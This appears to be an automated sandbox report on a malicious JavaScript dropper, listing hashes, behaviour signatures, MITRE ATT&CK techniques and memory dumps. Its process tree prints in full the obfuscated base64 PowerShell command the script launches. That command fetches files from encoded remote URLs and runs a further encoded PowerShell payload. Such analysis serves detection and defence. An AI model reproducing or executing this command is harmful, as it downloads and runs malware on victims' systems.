6b285c92181460823b4bf487d0d0ba508ac0fe7840b4bbab3e5e2f2b0f47a9d7

General

Target

LD5922.js
Size

186KB
MD5

efb6197a93fcc1cb31ce4ccc897689d9
SHA1

98efaae4ebc77cbededcf76a0baa2fdd9d6f2c6c
SHA256

6b285c92181460823b4bf487d0d0ba508ac0fe7840b4bbab3e5e2f2b0f47a9d7
SHA512

2d6211b9ff36dc8bc5c38fa1f5a5a6773f014b902d59d1354cee838c4462234134d1d3a8c2db06cced0a054d33f3a2bfbb4b0dca2c39257af0e16686a52fe9ea
SSDEEP

3072:qofCW/GEEowe8OHvdgr6n0Id4rHlbVT4oKz8N78xo2s:qofC0GE9wHuaTM4N7x/

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	4548	powershell.exe
38	4548	powershell.exe
44	4548	powershell.exe
45	4548	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4548	powershell.exe
4548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4548	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 4548	4712	wscript.exe	85
PID 4712 wrote to memory of 4548	4712	wscript.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\LD5922.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JAByAEsAegB5AHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAMABBAGIAdwBCAHUAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIAdABBAEcARQBBAGQAQQBCAHAAQQBHAE0AQQBZAFEAQgBzAEEAQwA0AEEAWgB3AEIAeQBBAEcAOABBAGQAUQBCAHcAQQBDADgAQQBkAEEAQgBMAEEARwBnAEEAUgBnAEEAdgBBAEYAZwBBAFkAUQBCAFAAQQBIAGMAQQBZAGcAQQA9AFIAQwBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAawBBAGQAQQBCAHkAQQBHADgAQQBkAFEAQgB6AEEARgBJAEEAWQBRAEIAMgBBAEcAVQBBAGIAZwBCAGsAQQBIAFUAQQBZAHcAQgByAEEAQwA0AEEAYgBnAEIAbABBAEgAUQBBAEwAdwBCAGwAQQBIAE0AQQBhAFEAQgBTAEEASABFAEEATAB3AEIANABBAEQAQQBBAFMAUQBCAHUAQQBGAEkAQQBSAEMAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBRAEEAdQBBAEQAYwBBAE4AZwBBAHUAQQBEAFkAQQBOAFEAQQB2AEEARQA0AEEAZAB3AEEAdgBBAEYAbwBBAFIAQwBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQAWQBBAEwAZwBBAHkAQQBEAFEAQQBPAFEAQQB1AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AdwBBADEAQQBDADgAQQBUAFEAQgB6AEEARQBvAEEAVgBBAEIAVgBBAEcARQBBAFYAdwBCAGEAQQBFAHcAQQBMAHcAQgBhAEEASABnAEEAVgBBAEIAUgBBAEYAVQBBAGIAdwBBAD0AUgBDAFYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATgBBAEEAdQBBAEQAWQBBAE0AUQBBAHUAQQBEAEUAQQBNAGcAQQB3AEEAQwA0AEEATQBRAEEAMgBBAEQAQQBBAEwAdwBCAFcAQQBFAGcAQQBSAFEAQgBVAEEARABZAEEAYwBnAEIAUABBAEgASQBBAEwAdwBCAGoAQQBFAEkAQQBjAHcAQgBDAEEARQB3AEEAUQBnAEEAPQBSAEMAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADEAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATABnAEEAeABBAEQARQBBAE0AQQBBAHUAQQBEAEUAQQBPAEEAQQAyAEEAQwA4AEEAUwBnAEIAMwBBAEUAbwBBAFUAZwBCAGgAQQBFADAAQQBNAFEAQQB2AEEARwBnAEEAUgBRAEIAUgBBAEUAcwBBAE8AUQBCAEoAQQBIAE0AQQAiADsAJABsAG4AdABhAEkAVABpAGQAbQBRACAAPQAgADYAMgA1ADAAOwAkAGwATABsAEoAWQByAFEASABQACAAPQAgADAAOwB3AGgAaQBsAGUAIAAoACQAbABMAGwASgBZAHIAUQBIAFAAIAAtAGwAZQAgADQAKQB7ACQAbABMAGwASgBZAHIAUQBIAFAAKwArADsAJABBAFMAbgBUAEkATABuAEMAbgBNAFQAIAA9ACAAKAAkAHIASwB6AHkAegBlACAALQBzAHAAbABpAHQAIAAiAFIAQwBWACIAKQBbACQAbABMAGwASgBZAHIAUQBIAFAAXQA7ACQATwBWAEYAYQB4AEcAdQBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEEAUwBuAFQASQBMAG4AQwBuAE0AVAApACkAOwAkAGMAeABUAGcAYgBtAGUAIAA9ACAAIgBRAHcAQQA2AEEARgB3AEEAVQBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAGIAZwBCAHYAQQBHADAAQQBZAFEAQgBrAEEAQwA0AEEAWgBBAEIAcwBBAEcAdwBBACIAOwAkAEMAcABYAFAAYgBoAHQAdQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABjAHgAVABnAGIAbQBlACkAKQA7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAE8AVgBGAGEAeABHAHUAbAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAQwBwAFgAUABiAGgAdAB1ADsAJABZAEUAdABXAEMAUwBlAFUAUgBWAG0ATwBiACAAPQAgACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABDAHAAWABQAGIAaAB0AHUAKQAuAEwAZQBuAGcAdABoADsAaQBmACAAKAAkAFkARQB0AFcAQwBTAGUAVQBSAFYAbQBPAGIAIAAtAGcAZQAgACQAbABuAHQAYQBJAFQAaQBkAG0AUQApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAEsAQQBIAGcAQQBiAEEAQgB2AEEARwBNAEEAUwB3AEIAbABBAEUAZwBBAFYAQQBBAGcAQQBEADAAQQBJAEEAQQBpAEEARgBRAEEAYgBRAEIAbABBAEUAWQBBAGEAdwBCAGoAQQBDAEkAQQBPAHcAQQBrAEEARwA4AEEAYwBnAEIAMQBBAEgARQBBAGQAZwBCAG8AQQBGAGsAQQBhAFEAQgBPAEEARQBjAEEAVABnAEIAaQBBAEMAQQBBAFAAUQBBAGcAQQBDAEkAQQBRAFEAQgBuAEEARwA4AEEAWQBnAEIAcQBBAEgAYwBBAGMAQQBCAE0AQQBFAHcAQQBWAHcAQgB1AEEARQBJAEEAWQB3AEIAaQBBAEgAWQBBAEkAZwBBADcAQQBEAHMAQQBKAEEAQgBRAEEASABNAEEAZABBAEIANgBBAEcAZwBBAFcAUQBCAFkAQQBHAGMAQQBjAHcAQgBrAEEARgBjAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFIAQQBIAGMAQQBRAFEAQQAyAEEARQBFAEEAUgBnAEIAMwBBAEUARQBBAFYAUQBCAEIAQQBFAEkAQQBlAFEAQgBCAEEARQBjAEEATwBBAEIAQgBBAEYAbwBBAGQAdwBCAEMAQQBIAGsAQQBRAFEAQgBIAEEARQBVAEEAUQBRAEIAaQBBAEYARQBBAFEAZwBCAEYAQQBFAEUAQQBSAHcAQgBGAEEARQBFAEEAWgBBAEIAQgBBAEUASQBBAGEAQQBCAEIAQQBFAFkAQQBkAHcAQgBCAEEARwBJAEEAWgB3AEIAQwBBAEgAWQBBAFEAUQBCAEgAQQBEAEEAQQBRAFEAQgBaAEEARgBFAEEAUQBnAEIAcgBBAEUARQBBAFEAdwBBADAAQQBFAEUAQQBXAGcAQgBCAEEARQBJAEEAYwB3AEIAQgBBAEUAYwBBAGQAdwBCAEIAQQBDAEkAQQBPAHcAQQBrAEEARwBzAEEAZQBRAEIAVwBBAEgAVQBBAFYAUQBCAEgAQQBFAHcAQQBjAEEAQgBSAEEARwBnAEEASQBBAEEAOQBBAEMAQQBBAFcAdwBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEEAdQBBAEYAUQBBAFoAUQBCADQAQQBIAFEAQQBMAGcAQgBGAEEARwA0AEEAWQB3AEIAdgBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBYAFEAQQA2AEEARABvAEEAVgBRAEIAdQBBAEcAawBBAFkAdwBCAHYAQQBHAFEAQQBaAFEAQQB1AEEARQBjAEEAWgBRAEIAMABBAEYATQBBAGQAQQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwBnAEEAVwB3AEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBRAEEAVQBBAEIAegBBAEgAUQBBAGUAZwBCAG8AQQBGAGsAQQBXAEEAQgBuAEEASABNAEEAWgBBAEIAWABBAEMAawBBAEsAUQBBADcAQQBIAEkAQQBkAFEAQgB1AEEARwBRAEEAYgBBAEIAcwBBAEQATQBBAE0AZwBBAGcAQQBDAFEAQQBhAHcAQgA1AEEARgBZAEEAZABRAEIAVgBBAEUAYwBBAFQAQQBCAHcAQQBGAEUAQQBhAEEAQQBzAEEASABjAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCAGsAQQBHADgAQQBaAHcAQQA3AEEAQwBRAEEAVABBAEIAUQBBAEcAcwBBAGQAUQBCAE0AQQBHAHcAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAVwBBAEUAMABBAGMAZwBCAHYAQQBIAEEAQQBXAGcAQgBXAEEARwA0AEEAZQBRAEIANABBAEYAYwBBAGEAZwBBAGkAQQBEAHMAQQBKAEEAQgB1AEEARgBZAEEAUgBBAEIAagBBAEcAYwBBAFMAUQBCAEIAQQBHAFkAQQBZAFEAQgBPAEEARgBvAEEAYgBBAEIAdABBAEMAQQBBAFAAUQBBAGcAQQBDAEkAQQBVAFEAQgBhAEEARgBJAEEAUwBnAEIAcgBBAEMASQBBAE8AdwBBAGsAQQBFAFkAQQBhAGcAQgBGAEEARQA4AEEAYQB3AEEAZwBBAEQAMABBAEkAQQBBAGkAQQBHADgAQQBaAGcAQgBoAEEARQBjAEEAUgBBAEIAVABBAEcATQBBAFkAdwBCAHkAQQBIAEUAQQBTAEEAQgBFAEEARgBjAEEAVwBBAEEAaQBBAEQAcwBBAEoAQQBCAHUAQQBFAEUAQQBXAEEAQgBDAEEASABrAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFQAQQBFAE0AQQBSAEEAQgBQAEEARQBVAEEAVwBBAEIAMwBBAEMASQBBAE8AdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4londcev.fed.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4548-133-0x000002DA34DB0000-0x000002DA34DD2000-memory.dmp

Filesize
136KB

Download
memory/4548-143-0x00007FFA0B0C0000-0x00007FFA0BB81000-memory.dmp

Filesize
10.8MB

Download
memory/4548-145-0x000002DA34E00000-0x000002DA34E10000-memory.dmp

Filesize
64KB

Download
memory/4548-144-0x000002DA34E00000-0x000002DA34E10000-memory.dmp

Filesize
64KB

Download
memory/4548-146-0x000002DA34E00000-0x000002DA34E10000-memory.dmp

Filesize
64KB

Download
memory/4548-147-0x00007FFA0B0C0000-0x00007FFA0BB81000-memory.dmp

Filesize
10.8MB

Download
memory/4548-148-0x000002DA34E00000-0x000002DA34E10000-memory.dmp

Filesize
64KB

Download
memory/4548-149-0x000002DA34E00000-0x000002DA34E10000-memory.dmp

Filesize
64KB

Download
memory/4548-152-0x00007FFA0B0C0000-0x00007FFA0BB81000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing